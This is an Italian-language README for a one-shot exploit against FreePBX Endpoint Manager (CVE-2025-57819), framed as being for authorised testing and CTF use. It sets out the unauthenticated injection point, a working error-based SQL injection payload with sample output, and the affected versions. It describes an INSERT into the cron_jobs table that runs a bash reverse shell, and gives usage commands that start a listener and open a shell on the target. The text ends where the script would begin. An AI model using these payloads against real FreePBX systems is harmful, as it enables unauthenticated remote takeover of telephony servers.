
CVE-2025-57819 -> rce
Exploit one-shot per l'iniezione SQL non autenticata di Endpoint Manager di FreePBX (CVE-2025-57819), concatenata in esecuzione di codice remoto tramite la tabella cron_jobs di FreePBX.
Solo per test di sicurezza autorizzati / uso CTF.
Il gestore ajax del modulo endpoint concatena il parametro brand direttamente in una query SQL, e il percorso del modulo FreePBX\modules\endpoint\ajax bypassa il controllo Referrer/autenticazione ajax. Ciò fornisce un'iniezione SQL non autenticata basata su errori (tramite EXTRACTVALUE), con scritture a query impilate abilitate.
Punto di iniezione:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<INJECTION>
Prova (lettura basata su errori):
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
Versione affetta: FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3.
L'iniezione è di sola lettura di per sé, ma le query impilate consentono scritture. FreePBX esegue lavori dalla tabella cron_jobs tramite il suo gestore cron, quindi inserire una riga produce esecuzione arbitraria di comandi (entro ~60s, schedule * * * * *):
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);
Il comando iniettato è una reverse shell bash. La riga cron viene rimossa automaticamente dopo il primo callback per evitare connessioni ripetute.
pip install requests urllib3
Python 3. Il rilevamento IP integrato (-i/--interface) è solo per Linux; usa --ip su altre piattaforme.
# Defaults: interface tun0, port 4444 — avvia listener, sfrutta, apre una shell
python3 exploit.py http://{target}
# Scegli un'interfaccia / porta diversa
python3 exploit.py http://{target} -i eth0 -p 9001
# Imposta l'IP del listener esplicitamente
python3 exploit.py http://{target} --ip 10.10.15.52
python3 exploit.py --help
Lo script: